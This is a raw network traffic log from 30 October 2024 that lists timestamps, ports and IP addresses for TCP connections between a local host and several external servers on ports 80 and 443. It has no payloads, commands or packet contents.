Oct 30, 2024 23:11:52.906424046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906435966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906446934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906461954 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.906476974 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.906925917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906935930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.906968117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.909889936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.909903049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.909914970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.909938097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.909965038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981386900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981427908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981441975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981451035 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981483936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981662989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981677055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981705904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981717110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981728077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981729984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981746912 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981770039 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:52.981791973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:52.981837988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.022778988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022810936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022821903 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022852898 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.022893906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.022947073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022962093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022973061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022984028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.022986889 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023015022 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023051023 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023175001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023211002 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023243904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023257017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023288012 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023299932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023391962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023513079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023554087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023560047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023572922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023613930 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023695946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023709059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023741007 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023765087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.023941994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.023991108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024003029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024036884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024105072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024117947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024157047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024429083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024467945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024482012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024493933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024532080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024635077 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024647951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024660110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024672031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024686098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024698019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024725914 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024842978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024856091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024868965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.024892092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.024924994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.025523901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.025537014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.025568962 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.025583982 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.083129883 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.083617926 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.083638906 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.084222078 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.084228992 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.099529028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099539042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099545002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099555969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099627018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.099663973 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.099731922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099760056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099766016 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.099771976 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099811077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.099844933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099858046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099891901 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.099976063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.099987030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.100020885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.121444941 CET	49703	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.121444941 CET	49703	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.121944904 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.121977091 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.122477055 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.122989893 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.123007059 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.127279043 CET	443	49703	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.127324104 CET	443	49703	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.141187906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141206980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141268969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141268969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141279936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141292095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141386032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141475916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141499043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141516924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141526937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141534090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141571045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141839027 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141839981 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141901970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.141928911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.141988993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142051935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142064095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142091036 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142164946 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142177105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142187119 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142193079 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142200947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142211914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142224073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142293930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142321110 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142349005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142360926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142374992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142405987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142405987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142494917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142508030 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142518044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142532110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142544985 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142626047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.142628908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142641068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.142769098 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.143054008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.143074036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.143188000 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.143435955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.143448114 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.143460035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.143518925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.143518925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.185717106 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.185920954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.185933113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.185949087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.186260939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.217909098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.217921019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.217931986 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218005896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218005896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218044996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218059063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218089104 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218215942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218228102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218240023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218240976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218262911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218302965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.218341112 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.218374014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259030104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259093046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259104013 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259134054 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259149075 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259160995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259162903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259172916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259219885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259219885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259402990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259445906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259457111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259536028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259536028 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259649992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259676933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259687901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259732008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259797096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259809971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.259860992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.259860992 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260097980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260127068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260138988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260154009 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260246992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260273933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260341883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260426044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260437012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260473967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260498047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260591984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260607004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260670900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260674000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260687113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260699034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.260734081 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.260765076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261084080 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261097908 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261107922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261158943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261189938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261235952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261248112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261257887 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261271000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261284113 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261338949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261447906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261459112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261471033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.261498928 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.261573076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.272167921 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.272191048 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.272248983 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.272294044 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:53.272294044 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:53.272311926 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.276319027 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:53.276349068 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.276473045 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:53.276510954 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.276546001 CET	443	50010	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:53.276859999 CET	50010	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:53.301772118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.301783085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.303005934 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.303956032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.304033041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.304044962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.304100990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.336294889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336312056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336323977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336364985 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336407900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.336447001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336458921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336469889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336476088 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.336483002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.336494923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.336632013 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.338570118 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:53.338643074 CET	443	49868	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:53.338849068 CET	49868	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:53.356527090 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:53.356587887 CET	443	49867	162.159.61.3	192.168.2.5
Oct 30, 2024 23:11:53.356741905 CET	49867	443	192.168.2.5	162.159.61.3
Oct 30, 2024 23:11:53.377466917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377484083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377496004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377598047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377598047 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377613068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377626896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377640009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377649069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377651930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377665997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377676010 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377676964 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377705097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377705097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377751112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377763987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377774954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377787113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377795935 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.377799034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.377821922 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378154039 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378177881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378201008 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378212929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378221989 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378298998 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378299952 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378313065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378365993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378365993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378523111 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378638029 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.378710032 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.378868103 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.423371077 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.423439980 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.423546076 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.423742056 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.423758984 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.423815012 CET	50016	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.423820972 CET	443	50016	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.426453114 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.426487923 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.426631927 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.427007914 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.427021980 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.448918104 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.449846983 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.449846983 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.449860096 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.449873924 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.493455887 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.494421959 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.494440079 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.494966984 CET	50018	443	192.168.2.5	13.107.246.45
